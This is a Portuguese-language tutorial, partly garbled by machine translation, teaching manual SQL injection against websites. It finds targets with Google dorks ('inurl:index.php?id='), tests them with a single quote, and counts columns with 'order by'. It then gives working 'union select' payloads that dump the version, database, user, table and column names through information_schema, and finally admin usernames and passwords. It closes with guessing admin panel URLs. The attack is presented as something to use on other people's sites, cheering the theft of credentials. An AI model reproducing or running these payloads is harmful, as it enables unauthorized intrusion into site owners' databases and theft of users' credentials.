TUDO SOBRE MANUAL Injeção de SQL


Aviso de isenção de responsabilidade

Todas as informações fornecidas neste livro são apenas para fins educacionais, se qualquer um será encontrado em uma atividade ilegal, então não temos responsabilidade por isso.


Uma nota importante antes de iniciar

Hacking é uma Arte da Inteligência; se você não tem essa arte, deixe o livro agora e descanse de outra forma você sentirá uma dor de cabeça. Se você é a pessoa experiente de esta arte então você entenderá muito facilmente. Apenas lembre-se de uma coisa, não há habilidades especiais precisam aprender algo novo, apenas a mente deve ser positiva e sempre abra com nitidez para entender.


CAPÍTULO 1:


Guia Completo para SQL INJECTION:


Antes de vermos o que é SQL Injection. Devemos saber o que SQL e banco de dados são.


Banco de dados:

Banco de dados é uma coleção de dados. Em um local conectado à Internet que mantém um ou mais pontos de vista de páginas da Web, o banco de dados é usado para armazenar o usuário ids, senhas, detalhes de páginas da web e muito mais. Algumas listas de banco de dados são:


Servidores de BD,

MySQL (código aberto)

MSSQL,

MS-ACCESS,

Oracle,

Postgre SQL (código aberto),

SQLite,

SQL:

Linguagem de consulta estruturada é conhecida como SQL. Para se comunicar com o banco de dados, estamos usando consulta SQL. Estamos consultando o banco de dados para que ele seja chamado de linguagem de consulta.


Definição da referência completa:

SQL é uma ferramenta para organizar, gerenciar e recuperar dados armazenados por um computador base de dados. O nome "SQL" é uma abreviatura de Structured Query Language. Para razões históricas, SQL é geralmente pronunciado "sequela", mas a pronúncia alternativa "S.Q.L." também é usado. Como o nome indica, o SQL é uma linguagem de computador que você usa para interagir com um banco de dados. Na verdade, o SQL funciona com um tipo específico de banco de dados, chamado de banco de dados relacional.


Consultas básicas simples para SQL:

Selecione * de table_name: esta declaração é usada para mostrar o conteúdo das tabelas, incluindo o nome da coluna.


por exemplo:

selecione * dos usuários;


Insira nos valores table_name (column_names, ...) (valores correspondentes para colunas): Para inserir dados na tabela.


por exemplo: inserir nos usuários (username, userid) valores ("BreakTheSec", "break"); Vou dar mais detalhes e consulta no meu próximo livro sobre o SQL QUERY.


O que é injeção de SQL?

Injeção de SQL é um método comum e famoso de hacking no presente. Alguns novatos estão pensando que isso é uma coisa pequena, devido a algum software infantil ou script como "Havij ?, mas se você vê-lo manualmente, então é um tema enorme e muitos livros podem ser facilmente escritos sobre isso. Usando este método, um método não autorizado pessoa pode acessar o banco de dados de um site. O atacante pode obter todos os detalhes do banco de dados.


O que um invasor pode fazer?

ByPassing Logins

Acessando dados secretos

Modificando o conteúdo do site

Encerrando o servidor My SQL


Agora vamos mergulhar no procedimento real para a injeção SQL.


Etapa 1:


Encontrando site vulnerável:


Nosso melhor parceiro para injeção de SQL é o Google. Podemos encontrar os sites vulneráveis ​​(sites hackeados) usando a lista do Google Dork. O Google Dork está procurando por sites vulneráveis ​​usando a pesquisa do Google truques. Há muitos truques para pesquisar no Google. Mas vamos usar o comando "inurl:" para encontrar os sites vulneráveis.


Some Examples:

inurl:index.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:pageid=


Se você quiser saber mais, pesquise no Google os dorks SQL mais recentes.


Como usar?


Copie um dos comandos acima e cole na caixa do mecanismo de pesquisa do Google. Pressione Enter.

Você pode obter lista de sites. Temos que visitar os sites um por um para verificar a vulnerabilidade. Então comece a partir do primeiro site.

Observação: se você gosta de hackear um determinado site, tente o seguinte:

site: www.victimsite.com dork_list_commands

por exemplo:

site: www.victimsite.com inurl: index.php? id =


Etapa 2:


Como verificar a vulnerabilidade:


Agora, devemos verificar a vulnerabilidade dos sites. Para verificar a vulnerabilidade, adicione o único aspas (') no final da url e aperte enter. (Sem espaço entre o número e aspas simples)


por exemplo:

http://www.victimsite.com/index.php?id=2'

Se a página permanecer na mesma página ou mostrar essa página não encontrada ou mostrando outras páginas da Web. Então não é vulnerável.

Se estiver mostrando algum erro relacionado à consulta sql, estará vulnerável. Felicidades..! !

por exemplo:

Você tem um erro na sua sintaxe SQL; verifique o manual que corresponde ao seu servidor MySQL versão para a sintaxe certa para usar perto de '' 'na linha 1


Etapa 3:


Encontrando o número de colunas:


Agora, descobrimos que um local conectado à Internet que mantém uma ou mais páginas da web é vulnerável. O próximo passo é encontrar o número de colunas na tabela. Para isso, substitua as aspas simples (') por "order by n" statement. (Deixe um espaço entre o número e ordem por n declaração)

Altere o n de 1,2,3,4, 5,6, ... n. Até você receber o erro como "coluna desconhecida".


por exemplo:


http://www.victimsite.com/index.php?id=2 order by 1

http://www.victimsite.com/index.php?id=2 order by 2

http://www.victimsite.com/index.php?id=2 order by 3

http://www.victimsite.com/index.php?id=2 order by 4


altere o número até obter o erro como "coluna desconhecida"


Se você receber o erro ao tentar o "x" th número, então não da coluna é "x-1".


Quero dizer:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)

http://www.victimsite.com/index.php?id=2 order by 2(noerror)

http://www.victimsite.com/index.php?id=2 order by 3(noerror)

http://www.victimsite.com/index.php?id=2 order by 4(noerror)

http://www.victimsite.com/index.php?id=2 order by 5(noerror)

http://www.victimsite.com/index.php?id=2 order by 6(noerror)

http://www.victimsite.com/index.php?id=2 order by 7(noerror)

http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7 .


Às vezes, o acima pode não funcionar. Na hora, adicione o "-" no final da declaração.

por exemplo:

http://www.victimsite.com/index.php?id=2 order by 1--



Etapa 4:


Exibindo as colunas vulneráveis:


Usando "union select columns_sequence", podemos encontrar a parte vulnerável da tabela. Substitua o "order by n" com esta afirmação. E mude o valor de id para negativo (eu quero dizer id = -2, deve mudar, mas em alguns locais conectados à Internet que mantêm uma ou mais páginas da Web podem funcionar sem alteração).


Substitua o columns_sequence pelo não de 1 a x-1 (número de colunas) separado por vírgulas (,).


por exemplo:

se o número de colunas for 7, a consulta será a seguinte:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

Se o método acima não estiver funcionando, tente o seguinte:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Ele mostrará alguns números na página (deve ser menor que o valor de 'x', quero dizer menos que ou igual a número de colunas).


Assim:

Agora selecione 1 número.

Ele mostra 3,7. Vamos pegar o número 3.


Passo 5:


Encontrando versão, banco de dados, usuário


Agora substitua o 3 da consulta por "version ()"


por exemplo:

http://www.victimsite.com/index.php?id=-2 e 1 = 2 union select 1,2, version (), 4,5,6,7 -


Ele mostrará a versão como 5.0.1 ou 4.3. Algo gosta disso.


Substitua a versão () por banco de dados () e usuário () para localizar o banco de dados, usuário respectivamente.


por exemplo:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--


http://www.victimsite.com/index.php?id=-

and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working, then try this:

http://www.victimsite.com/index.php?id=-2and 1=2 union select

1,2,unhex(hex(@@version)),4,5,6,7--



Passo 6:


Encontrando o nome da tabela


Se a versão for 5 ou superior. Então siga estes passos. Agora temos que encontrar o nome da tabela do base de dados. Substitua o 3 por "group_concat (table_name) e adicione o" de information_schema.tables onde table_schema = database () "


por exemplo:


http://www.victimsite.com/index.php?id=-2 and 1=2 union select

1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where

table_schema=database()--


Agora ele mostrará a lista de nomes de tabelas. Encontre o nome da tabela que está relacionado com o administrador ou usuário.


Agora selecione a tabela "admin".


Se a versão for 4 ou alguma outra, você terá que adivinhar os nomes das tabelas. (usuário, tbluser). É duro e fura fazer injeção SQL com a versão 4.



Etapa 7:


Encontrando o nome da coluna


Agora substitua o "group_concat (table_name) pelo" group_concat (column_name) "


Substitua o "de information_schema.tables onde table_schema = database () -" por "FROM

information_schema.columns WHERE table_name = mysqlchar -


Agora ouça atentamente, nós temos que achar converter o nome da tabela para a string MySql CHAR () e substituir mysqlchar com isso.


Encontre o MysqlChar () para o Tablename:

Primeiro de tudo, instale o addon HackBar:

https://addons.mozilla.org/pt-BR/firefox/addon/3899

Agora

selecione sql-> mysql-> mysqlchar ()



Isto irá abrir a pequena janela, digite o nome da tabela que você encontrou. Vou usar o admin nome da tabela.



Clique ok

Agora você pode ver o CHAR (números separados por vírgulas) na barra de ferramentas Hack.



Copie e cole o código no final do URL em vez do "mysqlchar"


por exemplo:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select

1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where

table_name=CHAR(97, 100, 109, 105, 110)--


Agora ele mostrará a lista de colunas.

like_admin, senha, admin_id, admin_name, admin_password, ativo, id, admin_name, admin_pas s, admin_id, admin_name, admin_password, ID_admin, admin_username, nome de usuário, senha ..... etc.


Agora substitua o replace group_concat (column_name) por group_concat (nome da coluna, 0x3a, outro nome da coluna).


O nome da coluna deve ser substituído pelo nome da coluna listada. anothercolumnname deve ser substituído pelo nome da coluna listada.


Agora substitua "from information_schema.columns onde table_name = CHAR (97, 100, 109, 105, 110) "com o" de table_name "


por exemplo:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--


Às vezes, ele mostrará que a coluna não foi encontrada.

Em seguida, tente outros nomes de coluna


Agora, será o nome de usuário e as senhas.


Felicidades .....!

Se a localização conectada à Internet que mantém uma ou mais páginas da Web tiver membros, então o jock-bot para você. Você terá a lista de nomes de usuário e senha.


Algum tempo você pode ter os IDs de e-mail também, divirta-se você tem o Dock que pode produzir o ouro ovos.


Etapa 8:


Como encontrar o painel do administrador:


Para encontrar o painel de administração é um trabalho chato e demorado, porque você tem que adivinhar o painel de administração como:


http://www.victimsite.com/admin.php

http://www.victimsite.com/admin/

http://www.victimsite.com/admin.html

http://www.victimsite.com:2082/

etc.


Se tiver sorte, você encontrará a página de administração.


Se você deseja a lista de URLs de administrador mais recente, pesquise-a no Google ou é melhor usar o script de painel do administrador em perl.




Advertisements